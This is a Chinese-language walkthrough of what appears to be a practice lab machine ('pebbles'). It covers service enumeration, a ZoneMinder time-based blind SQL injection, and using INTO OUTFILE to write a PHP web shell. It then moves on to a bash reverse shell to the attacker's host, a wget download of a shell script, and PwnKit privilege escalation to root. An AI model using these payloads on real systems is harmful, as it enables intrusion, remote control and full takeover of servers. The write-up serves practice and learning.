一如往常先來看看這臺主機上面有什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.52 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.52 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.52 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.52 -type recon;
接著來看看有沒有甚麼隱藏目錄是預設沒有的副檔名
這邊我們找到了一個叫做 zm 的隱藏目錄
ffuf -w ~/Arsenal/Wordlists/combined_dir_wordlist.txt -u http://pebbles/FUZZ -e ,.pdf,.config,.php,.txt,.html,.zip > ffuf_combined_pebbles_.txt |tee
由 zm 這邊連進去後會發現一個叫做 ZoneMinder 的介面
http://pebbles/zm/index.php
在 exploit DB 上面可以找到相關的 exploit code
目前看起來這一個弱點跟 Blind SQL Injectiion有關 https://www.exploit-db.com/exploits/41239
view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
如果我們把提供的語法加入秒數進去,可以發現他會延遲5秒才回覆
竟然發現這一個網站他可以吃 SQL 的語法 那我們就會試著寫入一個 web shell 到他預設的根目錄裡面看看能不能順利執行
view=request&request=log&task=query&limit=100;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/webshell.php"
比較有趣的是,雖然我們是在 port 80 把這個 web shell 寫,但真正能夠執行的頁面卻是在 port 3305 上
這可能要經過一點 try error 才能夠發現
那我們現在要用這個 web shell 把我們的 reverse shell 傳上去
這邊我會用 bash 的語法讓他連到我們的 kali 上
# Active a http server
python3 -m http.server 80
bash -i >& /dev/tcp/192.168.45.222/80 0>&1
http://pebbles:3305/webshell.php?cmd=wget http://192.168.45.222:80/shell.sh -O /tmp/shell.sh
設定完監聽以後執行我們剛剛傳上去的 shell code
http://pebbles:3305/webshell.php?cmd=/bin/bash /tmp/shell.sh
這邊我發現了一個很有趣的現象,就是剛剛的 web shell 是 root 創建的
不過我們現在的身分卻是 www-data
這時候我們就上傳 Linpeas 去蒐集資訊
Linpeas 會幫我們順便分析一下有哪些弱點是有機會做題權的
這題看起來 pwnkit 是有機會的,所以我們就用 git hub 上面的這一個exploit code https://github.com/ly4k/PwnKit
順利拿到了root的權限
wget http://192.168.45.222:80/PwnKit /tmp/PwnKit
chmod +x PwnKit
./PwnKit